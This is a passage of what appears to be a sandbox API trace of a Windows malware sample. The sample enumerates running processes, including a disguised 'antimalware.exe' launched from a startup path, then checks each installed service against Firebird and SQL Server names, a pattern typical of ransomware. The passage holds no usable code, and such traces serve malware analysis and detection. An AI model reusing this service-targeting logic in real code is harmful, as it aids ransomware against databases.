	[0037.678] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0037.679] lstrlenW (lpString="taskhostw.exe") returned 13
	[0037.679] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0037.680] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0037.680] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0037.680] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0037.680] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0037.681] lstrlenW (lpString="msoia.exe") returned 9
	[0037.681] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0037.681] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0037.681] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0037.682] lstrlenW (lpString="msoia.exe") returned 9
	[0037.682] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0037.683] lstrlenW (lpString="roof.exe") returned 8
	[0037.683] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0037.683] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0037.683] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0037.706] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0037.706] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0037.707] lstrlenW (lpString="cause.exe") returned 9
	[0037.707] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0037.708] lstrlenW (lpString="occasionstax.exe") returned 16
	[0037.708] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0037.708] lstrlenW (lpString="distributors.exe") returned 16
	[0037.708] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0037.709] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0037.709] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0037.710] lstrlenW (lpString="rand.exe") returned 8
	[0037.710] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0037.710] lstrlenW (lpString="unlikely.exe") returned 12
	[0037.710] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0037.711] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0037.711] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0037.712] lstrlenW (lpString="promotion.exe") returned 13
	[0037.712] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0037.713] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0037.713] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0037.714] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0037.714] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0037.715] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0037.715] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0037.715] lstrlenW (lpString="bad-length.exe") returned 14
	[0037.715] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0037.716] lstrlenW (lpString="unit.exe") returned 8
	[0037.716] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0037.717] lstrlenW (lpString="parents.exe") returned 11
	[0037.717] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0037.718] lstrlenW (lpString="charge.exe") returned 10
	[0037.718] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0037.719] lstrlenW (lpString="measures-provision.exe") returned 22
	[0037.719] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0037.719] lstrlenW (lpString="dllhost.exe") returned 11
	[0037.719] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0037.720] lstrlenW (lpString="conhost.exe") returned 11
	[0037.720] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0037.721] lstrlenW (lpString="conhost.exe") returned 11
	[0037.721] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0037.722] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0037.722] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0037.723] lstrlenW (lpString="cmd.exe") returned 7
	[0037.723] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0
	[0037.724] CloseHandle (hObject=0x2ac) returned 1
	[0037.724] Sleep (dwMilliseconds=0x1f4) 
	[0038.572] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68f918
	[0038.572] EnumServicesStatusExW (in: hSCManager=0x68f918, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0038.573] GetLastError () returned 0xea
	[0038.573] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c30) returned 0x6acd08
	[0038.573] EnumServicesStatusExW (in: hSCManager=0x68f918, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6acd08, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6acd08, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0038.573] CloseServiceHandle (hSCObject=0x68f918) returned 1
	[0038.573] lstrlenW (lpString="Appinfo") returned 7
	[0038.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0038.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0038.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0038.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0038.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0038.573] lstrlenW (lpString="AppXSvc") returned 7
	[0038.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0038.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0038.574] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0038.574] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0038.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0038.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0038.574] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0038.574] lstrlenW (lpString="Audiosrv") returned 8
	[0038.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0038.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0038.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0038.574] lstrlenW (lpString="BFE") returned 3
	[0038.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0038.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0038.574] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0038.574] lstrlenW (lpString="BITS") returned 4
	[0038.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0038.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0038.574] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0038.574] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0038.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0038.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0038.574] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0038.575] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0038.575] lstrlenW (lpString="CDPSvc") returned 6
	[0038.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0038.575] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0038.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0038.575] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0038.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0038.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0038.575] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0038.575] lstrlenW (lpString="CryptSvc") returned 8
	[0038.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0038.575] lstrlenW (lpString="DcomLaunch") returned 10
	[0038.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0038.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0038.575] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0038.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0038.576] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0038.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0038.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0038.576] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0038.576] lstrlenW (lpString="Dhcp") returned 4
	[0038.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0038.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0038.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0038.576] lstrlenW (lpString="Dnscache") returned 8
	[0038.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0038.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0038.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0038.576] lstrlenW (lpString="DPS") returned 3
	[0038.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0038.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0038.576] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0038.576] lstrlenW (lpString="DusmSvc") returned 7
	[0038.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0038.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0038.576] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0038.576] lstrlenW (lpString="EventLog") returned 8
	[0038.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0038.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0038.576] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0038.577] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0038.577] lstrlenW (lpString="EventSystem") returned 11
	[0038.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0038.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0038.577] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0038.577] lstrlenW (lpString="FontCache") returned 9
	[0038.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0038.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0038.577] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0038.577] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0038.577] lstrlenW (lpString="gpsvc") returned 5
	[0038.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0038.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0038.577] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0038.577] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0038.577] lstrlenW (lpString="iphlpsvc") returned 8
	[0038.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0038.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0038.577] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0038.577] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0038.577] lstrlenW (lpString="KeyIso") returned 6
	[0038.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0038.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0038.577] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0038.577] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0038.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0038.577] lstrlenW (lpString="LanmanServer") returned 12
	[0038.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0038.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0038.577] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0038.578] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0038.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0038.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0038.578] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0038.578] lstrlenW (lpString="lfsvc") returned 5
	[0038.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0038.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0038.578] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0038.578] lstrlenW (lpString="lmhosts") returned 7
	[0038.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0038.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0038.578] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0038.578] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0038.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0038.578] lstrlenW (lpString="LSM") returned 3
	[0038.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0038.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
